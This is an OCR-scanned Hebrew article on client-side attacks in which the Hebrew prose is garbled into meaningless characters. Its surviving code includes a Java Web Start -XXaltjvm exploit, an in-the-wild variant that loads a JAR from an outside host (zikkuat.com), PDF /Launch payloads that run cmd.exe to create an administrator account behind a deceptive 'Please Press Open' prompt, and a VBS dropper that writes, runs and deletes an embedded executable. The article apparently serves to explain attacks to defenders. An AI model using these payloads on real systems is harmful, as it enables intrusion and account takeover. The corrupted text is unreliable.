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(nmarT? ,Apache nw?) ;12> HTTP Request n71w wnnwnin TWXOW NNIR NRT

GET /Page.php HTTP/1.1
Host: Site.com

NN 98 TNt Page.php yaipa v'omw PHP-n Tip X nyon mwn v [pnimy PHP-n vian
:(Javascript-1 HTML Tij7a 121t 217) Tijz IMINn 791mn 0790 NX

HTTP/1.1 200 OK

Server: Apache

X-Powered-By: PHP/5.2.6

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 10024

DATA

MY 7Y NI9PNN Y¥I7 TWONN N9'WNN -NYA 7V NXNIY N1YON |122102 7w Rxn'l nT'na LY
.(Server-Side Attacks)

NY¥ann 0n7v Nnysn N71y9 "W 01ONN onik 70 on Client-Side Processing-n 10N ,7ap7na
2 .nwinn 7apnne Javascript-n Ik HTML-n 9w 0790 1120 ,ni7n 99 nmipmn nmyn 7y
nxw PDF-1 Java/Flash nmon pnixk 75 7y ,0MNXQ 0O'91¥ DXY NRIMNN 7Y D2 121 IRUN

:NINNA N'OX7 NYWPA N7WII NT'NA 0N 07PN

GET /Image.png HTTP/1.1
Host: Site.com

:Nan 1202 HTTP Response 7am

HTTP/1.1 200 OK

Server: Apache
Accept-Ranges: bytes
Content-Length: 20713
Connection: close
Content-Type: image/png

DATA
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2 NIRKANY 071D User-Agent NTNNN ,RNAIT?

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4
(KHTML, like Gecko) Chrome/5.0.375.55 Safari/533.4
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WNNWYN TWR [9T9T 272 1A D NINT? 17 Nwonn "like Gecko" ntnnnn o
.Mozilla 7¢ Gecko a10n NNy yina
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. text: GDARIERT push [ebp+arg_4]

.text:aDAR3ERL push 28X

.text:6DAR3ERB push offset aSDocbaselS ; "\"%3\" -docbase %3 %3"
. text:&DARIECO push el : LBESTR

. text:GDAAIEC]L call ebx ; wsprintfli

.text:6DRR3ECS add esp, 1l4h

. text:6DAR3ECE I short loc S6DARR3ED4

.text:6DAA3ED4 loc GDARZED4: ; CODE XREF: sub &DAA3IDI6+1307]
.Lext:6DRRSED4 push 11h

. text: GDARIEDG pop ecx

.text:aDARIEDT HOr B2, Sax

.text:6DRR3EDS lea edi, [ebp+StartupInfo]

.text:&DARIEDC rep 3toad

.text: 6DARIEDE lea eax, [ebp+ProcessInformation]
.text:6aDAR3EE] push eax ; 1pProcessInformation
.text:6eDRR3IEE2 Xor ebx, ebx

.text:&DALIEEL lea eax, [ebp+StartupInfc]

. text: GDAAIEET push (-5 ; lpStartupInfo
.text:6DAR3EES push ebx ; 1pCurrentDirectory
.text:6DRR3EES push ebx ; lpEnvironment
.text:&DARIEER push ebx ; dwCreationFlags
.text:aDAR3EER push ebix ; bInheritHandles
.text:6DAR3EEC push ebx ; lpThreadRttributes
.text:6DRA3EED push ebx ; lpProcessAttributes

. text: GDARIEEE push esi ; lpCommandline
.text:aDAR3EEF lea eax, [ebp+Applicationilame]
.text:6eDRR3EFD push eax ; lpipplicationName
.text:6DALIEFG mov [ebp+Startuplnic.ck], 44h

. text: GDAASEFD call ds:CreateProcessi

(http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1 1j7na namnn)
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NI'‘PN NPT Yy¥a? *2an "docbase" ninwn% o1dmn v7pn V7PN NP2 27w DA D NIKMY N2

07

] MmN s L R

[=RT- R e:]

E if (browser = 'MSIE") {

document.write('<' +

= ‘|+ jnlp +|‘“‘ + ' 4

} else if (browser

document.write('<' +
'embed type="application/x-java-applet:
deployJava.firefoxJavaVer=sion + "" ' +

'"width="0" height="0" ' +

(nTnn nnixa v KxiIn Davw 190 "launchjnip” nx pa 'nin'o)

Dyy1 RY docbase-n NINwN T NITIRO 7w NpATh Y¥AY qpINT QwoKn 07PN NPT YoIN
:NQN WIN'Na N1 DR NIXN7 ©2woN .URL naimd 10n1od 7aph

[T U T

-1 m tn

W

ff Tavis Ormandy <taviso@sdf.lonestar.org>», April 2010

<script>
var u = "http: -J-jar -J\\\\lock
wvar o = document.createElement ("
o.classid = "clsid:CAFEEFAC-DECT-000C

// Trigger the bug
o.launch (u} ;
< fzcript>

ZNNIYA INXIN NIX [21 INK?1 U NINwnn MY “calc.jar' yaipn 7w n1'yon |9IX DX NIXKN7 N0

|o.launch

(u) ;

.MAN UNNWNN 7w NIKTAN MNINYAN NNN MR [DIXA YN TI70 ,AXINN 91X M'VO T 7Y
i I i

T 7Y ,AUNNN 7V Mipn [9INA YN'Y 1X'N Java wion N1'o X' N9'WNN NNIX 71817 noon T
0VN5N DY AYT7INN A7V

XXaltjvm

Undocumented-hidden command-"-> 2Taini Sun 7w nmw axmipiT 'R 7"10 q0n1on v
YaIp [IY07 QpIin? 2woNn 2 win'wn ano'wn nra Backdoor-d Twna xin 271 "line parameter
DRIV MDA YIARY 1O TV AT 10NI9 WIN'YN NMIRN N¥Pn NTay 7y mix yan'? DLL
2 X' M D V1,979 TN N7W1 WK Java-n TI NIYD Y¥IN TWUX 77TNNN NNNan N
"ALTernative Java Virtual Machine"
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2 win'wn 7y 0'nn X7 Sun-w ik nn L"XX"-n nnowny tnun 10nony Nt 7'N¥NY nn

Options that are specified with -XX are not stable and are not
recommended for casual use. These options are subject to change without
notice.

(http://java.sun.com/javase/technologies/hotspot/vmoptions.jsp :|xon LLIX)

N7Y9NN NdIWnN ¥ NNLVAXRN 1NN 775 YW N9'PY Y¥A7 NNYOKR W' NT 10N win'wn T 7y
NX 70 Javaws.exe-n 20w 1on (ASLR-1 DEP ,Java Sandbox Model-n |12d) |9T9Th 2011
.DLL-n yaI nX 1207 AUX NIXMPNILE NIAMDN 7'9

2 NXM) D YIn'vn

-XXaltjvm=\\UNC-Path\File.dll

J2pn 9w nwnn 7y DLL yalp 7w nxdnl n1'wo yxa? 17 ©wonn docbase -n no'wn oy 17wl
.(UNC nam> 7w nonn a'nn XXaltjivm-1 win'ww 17 m'w)

NN NN'Y NRYIY) N'NINN NY72INn ,NMIYRIN nY7INn 7182 07 DX 101 Botnets 19onw |amd
2w 7'wr 7180 TV DY NwAY Danir vyn X7 qiox? nz'oon ("Piptea" nwa 1dinn Botnet-n
LMyni myn NN 0?7 yxa FireEye 9w a7ann '2'xan 1inan .narmin nw7inn

TR YIN'YN |9IX NN 2D N7 N1 ,NXY NN

var u = "http: -J-jar -J\\\\zikkuat.com\\50035\\CO.php none";
if (window.navigator.appName == "Microsoft Internet Explorer") ({
var o = document.createElement ("OBJECT") ;
o.classid = "clsid:CAFEEFAC- DEC7-0000-0000-ABCDEFFEDCBA";
o.launch(u); }
else {
var o = document.createElement ("OBJECT") ;
var n = document.createElement ("OBJECT")
o.type = "application/npruntime-scriptable-
plugin;deploymenttoolkit™; n.type = "application/java-deployment-
toolkit"; document.body.appendChild(o); document.body.appendChild
(n); try {o.launch(u); } catch (e) {n.launch(u):;
}
}

(http://blog.fireeye.com/research/2010/04/who-is-exploiting-the-java-0day.html :11j7n21)

-|mM 7w nwRaon 9707 7w npaon 9t DR NHYN? 2WoK ,Java-n 1'9712 nwlind 12Imy on
v ,Java -0 NIXO0NA 7D 7V ny'own ny'taon Lvad' NN K¥N'Y M 7w 07Nnmn 12N L0010
NN v v o1 omMpvn (Chrome-i Internet Explorer, Firefox) v1nvi'kn 1971971 nwivy

.("1*ond> nniT Apple 7w n7yonn nd>yn .op11'7n nix¥on 77w Windows) nirexn n'2yonn

Escape From PDF
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,22AAN 1IN XIN N9'WNN 1721 .NINS X7 N1'yn N9'WN2 'MIN2 NIXT N1YR07 N"wn N9'WNN 1IN
NTA VTN NNLAX XWN7 WpN D2 2172 7nann "Didier Stevens” nwa ,jamd yT' NNVAX 7N

.0"Y 1B0N

1901 N7'a Dpnnn N1aona ,PDF a1 7y 02N pnjpnn yxa% 012'00 7nin ,0'wTIn 190N 199
2707 ON"NX XD .XWIN 17 NTYW 070 1901 NN'S X1 0iwn PDF-n 100 nnyo 111201 nivin
AWOXNNN TAN] 7'a2an2 "o "Escape From PDF" nwa 012'00 N1 NNIKY ,N9'wNN D*10N

J'MNaN nomNa win'y 1 2y PDF-n qnon oy TN n7wIw qaixn yalp/'!ipn yaip 7w nxdn

NTIPo2 win'wa PDF qnon 11T n¥n-12 Yaip 7w n¥dn yx¥a? 01'miyn 1K TWUKD

|/Launch /Action

NX wnnwn? ar'xn PDF-n n1yon DIW'RN WP Nyd .wnnunn 7¢ NIWR DR U7 0'Y781 1R
INQD [DINA YN M2V XD INIR YAIN 7Y 1My DREQMIN

r B
Launch File [

72 1N

C\Windows\system32\cmd. exe
File:

[7] Do not show this message again

The file and its viewer application are set to be launched by this PDF file. The
file may contain programs, macros, or viruses that could potentially harm
your computer. Only cpen the file if you are sure it is safe. If this file was
placed by a trusted person or program, you can click Open to view the file.

I Open ] [ Do Mot Open

NN Y1 PR RINY '1D'0 TN NI 'R ,D'N-0YND UNNWN Jnonn NX NN9' DN DN DAY D
NN NTIPON NN YN NX1I 1AW 2¥N 7Y 12T X7 L yalizn

il 5
Launch File [

File:

[7] Do not show this message again

The file and its viewer application are set to be launched by this PDF file. The
file may contain programs, macros, or viruses that could potentially harm
your computer. Only open the file if you are sure it is safe. If this file was
placed by a trusted person or program, you can click Open to view the file,

CAWindows\system32\cmd.exe /c 88 net user cP /add 88t net user cP

123456 & & net localgroup administrators cP fadd

[ Open ] [ Do Mot Open l

MIYN DX 17 9INT7? DA K78 ,cmd.exe -0 NX Y07 [1dnn 1 X7 PDF-n qnonw NIk 2md |na

nhahn
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/c && net user cP /add && net user cP 123456 && net localgroup
administrators cP /add

no>wn 7w 71NN nx¥npE? mix 01oni "123456" :nno'o 17 Ni¥'n "cP" nwa wnnwn MIx'ny My
1790 NIMIEoN DX Y¥A7 NRWIN W' NDIN wnnun?i nTna L amd — (Administrators) n7yonn

Meta Data -2 nnwa nTIEon 'K NIKYT7 DN R ,NTIR9N NAXN DX qIY7 N1 T¥D fan? *ma
NN DX XNP? N ,PDF Dnon Y Meta-Data-n n1ana npnynY?) PDF-n yalp nan v
("12w 2189 Y7o >0 — Meta-Data" :own nnn Digital Whisper 7w 'wmnn 1"22% '‘nandw

72T DX NIKAY N L (NINRD DYWY NPT WNNWR IR) 0oL IVa PDF-n qnon nX nnoa ox

Han
§5 8 0 obj
& <
7 /Ivpe /Action
8 /3 fLaunch
g SWin

s L R

] <<

/F (cmd.exe)

/P (/e && net user cP fadd && net user cP 123456 && net localgroup administrators cP fadd)
=g
=

endobj

:DANNN T2V N¥INN DY oA Launch -0 toxn wimm nya D 1an? ©woN
File?wuxyp-F o
.Parameters tw ix'p-P o

:D'ANNN NNN 772 ' AR YI9'N YX11l nT'Na

/Launch /Action

NNIN DA X7 ,U¥]7 ' DNIRY N71Y9N NNR7 71 K7 XN D 'an? QWON 271 ,117¢ NTiNNnn Y'ain
.NTIEON NXINYT MIYRD YR Y2 nNwun? 207 W'Y nyTinn

:NINAN NTRNAN DX "P" annn 1NN 0001 N1'MN2N N0TINY Yain 72 2'1an [1I'v) nan 012'00

\n\n\n\n\n\n\n\n\n\n\n\n\n\n Please Press 'Open' to Open The Document.
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2 XY yaIpn "aT YW 1910av 7))

g8 0 ob3
<<

/Type /Rction

/8 /Launch

JWin

<<

J/F (cmd.exe)

B (/o && net user testl23 /add £& net user testl23 123456 £& net localgroup
administrators testl23 fadd ‘n\n\n\n\n\n\n\n\n\n\n\n\nyn Please Press 'Open' to Open The
Document. )

ol
>

endobij

X7 N2I700 ,NYTINN NI7N2 YaIpn DY NNN DNIY WI7wn NP QY TUKX D 072 X 012'00
NUITY NN A% YaIPN MY 79 INNNN 7707 Xl 07720 09W XX ,NTIRON 770 NXK A'¥N1 7Tan

NN AYTINN N wnnwn axin ,NTN NN ,|3'7 .NTHEON Q¥ NIINNRN DNIYAN
fizunch el =X

The file and its viewer application are set to be launched by this PDF file. The
_I_E file may contain programs, macros, or viruses that could potentially harm

your cemputer. Only open the file if you are sure it is safe, If this file was

placed by a trusted person or program, you can click Open to view the file,

File:
Please Press 'Open' to Open The Document. v

[”] Do not show this message again

’ Qpen ] [ Do Mot Open

UTNN UNNUNN NX XN N70900 N0Wn L"Yaizn NNMS" NR AWK ynnunnl TN amd
Jmipnn nannn YW Administrators-n n¥nEa MIXK 2'¥ni

AMOFID INIX IXA'RY NIRTI/DWIIN 1901 17200 1221 KXNNN 7V NPT 012'00W TRN 11 AT 1AV X7
"Zeus" "dmn Botnet -n nx y'on7? nryw "Pidief" ny72mn X'n Dnaw nnolisnn ,no'yn
Windows TI7 0'7'onn V970 YA W IX'7 T 72X DT IO W'Y D A7y TN NINan

N2 1202 Script Host

/Type /Action

/S /Launch

/Win

<<

/F (cmd.exe)

/P (/c echo Set fso=CreateObject ("Scripting.FileSystemObject") >
script.vbs &&

echo Set f=fso.OpenTextFile ("doc.pdf", 1, True) >> script.vbs && echo
pf=f.Read

All >> script.vbs && echo s=InStr(pf,"'SS") >> script.vbs && echo
e=InStr (pf,"
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'EE") >> script.vbs && echo s=Mid(pf,s,e-s) >> script.vbs && echo Set
z=fso0.0p

enTextFile ("batscript.vbs", 2, True) >> script.vbs && echo s =
Replace (s, "s",""

) >> script.vbs && echo z.Write(s) >> script.vbs && script.vbs &&
batscript.vbs

Click the "open" button to view this document:)

>>
>>

(PR wnnwnnw nyTINN DR 91021 NIYD DT 737 27 n'w)

[VO1 DT D 'an? [N 0T yalRr? yxiaw ninann C"Doc.pdf” yaip Y7nn o'xapn TR D NIk 1
DYA Yalp M7 ax? T Y Yainnw (embedded executable) mxata pim 7nn wn
:game.exe

Din b

Fonctior c(d)

c=chr (d)

Enc Fanction
b=Array(c(077),c(03C),c(144),¢(00C) ,c(005),c(00C) ,c(0OC)
Set fso = Createdbject ("Scripting.FileSystemCbject”™)

Set f = fso.OpenTextFile("game.exe", 2, True)

Por i = C Tc 35328

f.write(b(i))

Next

f.close()

Set WshShell = WScript.CreateCbject ("WScript.Shell")
WshShell.Run "omdi.exe /c game.exe"

W3cript.Sleep 300
Set f = FS0.GetFile ("game.exs")
f.Delete

Set £ = FS0.GetFile("batacript.vbs")
f.Delete

Set £ = FSO,GetFile("script.vbs")
f.Delete

(Stop Malvertising "y yx1aw |'I¥xn NIN'IN NNE71 NAINNN TI7NRA)

D'¥1i77) Zeus 7¢ MINNKN XONAN NX AWNN7 TIMN XA YAl INIX YIm ,nx*7nn N7y Inx?
-1 game.exe,batscript.vbs) n¥apn nwitw orznna nxnn qioa .("Droppers" n'xip Nt alon
12NN ¥ Ny NINSY NNnd 'RWN? 11 ,(script.vbs
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f=h}=ie]

N7X DD wNnwn 'R MY NatL, 91977 "Add-On" anan NIKNAITN DX 'MNRAN AT 1NRN2
N'N NIXAAITN NNX NP D'0'0 DIN-1Y9N] NIYZIN DA IN¥N1 DYD K7W 1IDT7 TINA 2IWN X L|AIN
wAnRY ("mshtml.dll"-a jooixnn) vsloNEm 7w Trident yiana nw2in n'7x11 N2 ,Aruroa nopnn
GDI-n 211 Ik WX NIY7INN wnY? IK N7 1919 T Javascript -n 5N niye 7w ana

Client- niopnn nnNN Dys X7 711 N7Y9nN NDIYNA '971aN 770N 21 7Y 'RINKRY VBIoNP'M W
.Side

T 2V Yy¥ann DIy 0awUNNY7 N¥M9n (NIN7¥N1) NRrol 21 L,(AT IR NDINY nYR At K1) MyT?
.0"'Y NIP971 NINN'Y 11aNY7 2w 371,07 2101 NI9PNN
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